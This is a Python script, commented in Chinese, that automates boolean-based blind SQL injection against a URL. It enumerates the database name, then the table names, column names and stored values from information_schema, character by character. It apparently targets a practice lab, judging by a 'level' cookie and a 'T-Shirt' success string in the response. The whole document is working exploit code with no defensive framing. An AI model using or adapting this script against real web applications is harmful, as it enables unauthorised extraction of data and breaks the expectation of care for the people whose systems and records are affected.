def column_data_name(column_data_len,User_table_name,User_column_name): column_data_names = {} column_one_name = '' for i in range(0,len(column_data_len)): #i是第几个字段的值 for j in range(1,column_data_len[i]+1): #j是要爆破字段值的第几个字符 for n in range(0,126): #n是要爆破字段值的ascii码值 new_url = url + "%20and%20ascii(substr((select " + User_column_name + " from " + User_table_name + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n) if Response_judgment(new_url): column_one_name += chr(n) break print(f"{User_column_name}字段的第{i}个值为:{column_one_name}") column_data_names[i] = column_one_name column_one_name = '' return column_data_names
def column_data_length(column_names,User_table_name,User_column_name): column_data_len = {} for i in range(0,10): #i是第几个字段的值,猜测10个数值 for j in range(1,20): #j是要爆破字段数值的长度,猜测该字段数值最大为20 new_url = url + "%20and%20length((select "+ User_column_name +" from "+ User_table_name +" limit "+ str(i) +",1))=" + str(j) if Response_judgment(new_url): column_data_len[i] = j if i == 10: print('已超过测试数值的最大值,请调整!!!') break return column_data_len
def column_name(column_len,User_table_name): column_names = {} column_one_name = '' for i in range(0,len(column_len)): #i是第几个字段,len(column_len) 是字段的数量 for j in range(1,column_len[i]+1): #j是要爆破字段的第几个字符 for n in range(0,126): #n是要爆破字段名的ascii码值 new_url = url + "%20and%20ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=" + hex(int.from_bytes(User_table_name.encode(),'big')) + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n) if Response_judgment(new_url): column_one_name += chr(n) break print(f"{User_table_name}表的第{i}个字段的名称为:{column_one_name}") column_names[i] = column_one_name column_one_name = '' return column_names
def column_length(User_table_name): #要查看的表名 column_len = {} for i in range(0,10): #i是第几个字段,这里假设有10个字段 for j in range(1,30): #j是要爆破字段的长度,假设字段长度最长为20 new_url = url + "%20and%20length((select column_name from information_schema.columns where table_schema=database() and table_name="+ hex(int.from_bytes(User_table_name.encode(), 'big')) +" limit "+ str(i) +",1))=" + str(j) if Response_judgment(new_url): column_len[i] = j if i == 10: print('已超过测试字段数的最大值,请调整!!!') break return column_len
def table_name(table_len): table_names = {} table_one_name = '' for i in range(0,len(table_len)): #i是第几张表,len(table_len)表示共有几张表 for j in range(1,table_len[i]+1): #j是要爆破表名第几个字符,到表的长度 for n in range(0,126): #n是要爆破表名的ascii码值 new_url = url + "%20and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1)," + str(j) + ",1))=" + str(n) if Response_judgment(new_url): table_one_name += chr(n) break print(f"第{i}张表的名称为:{table_one_name}") table_names[i] = table_one_name table_one_name = '' return table_names
def table_length(): table_len = {} for i in range(0,10): #i是第几张表 for j in range(1,10): #j是要爆破表的长度 new_url = url + "%20and%20length((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1))=" + str(j) if Response_judgment(new_url): table_len[i] = j break return table_len
def database_name(database_len): database_names = '' for i in range(1,database_len + 1): #i是数据库的第几个字符 for j in range(0,126): #j是要爆破数据库名的ascii码值 new_url = url + "%20and%20ascii(substr(database()," + str(i) + ",1))=" + str(j) if Response_judgment(new_url): database_names += chr(j) break return database_names
def database_length(): new_url = '' for i in range(1,10): #假设数据库的长度在10以内 new_url = url + "%20and%20length(database())=" + str(i) if Response_judgment(new_url): return i print('payload无效,请更替payload或增加爆破的数据库名长度!!!') print(new_url)
def Response_judgment(new_url): cookies = { 'level' : '1' } respone = requests.get(new_url, cookies=cookies) if "T-Shirt" in respone.text: return True else: return False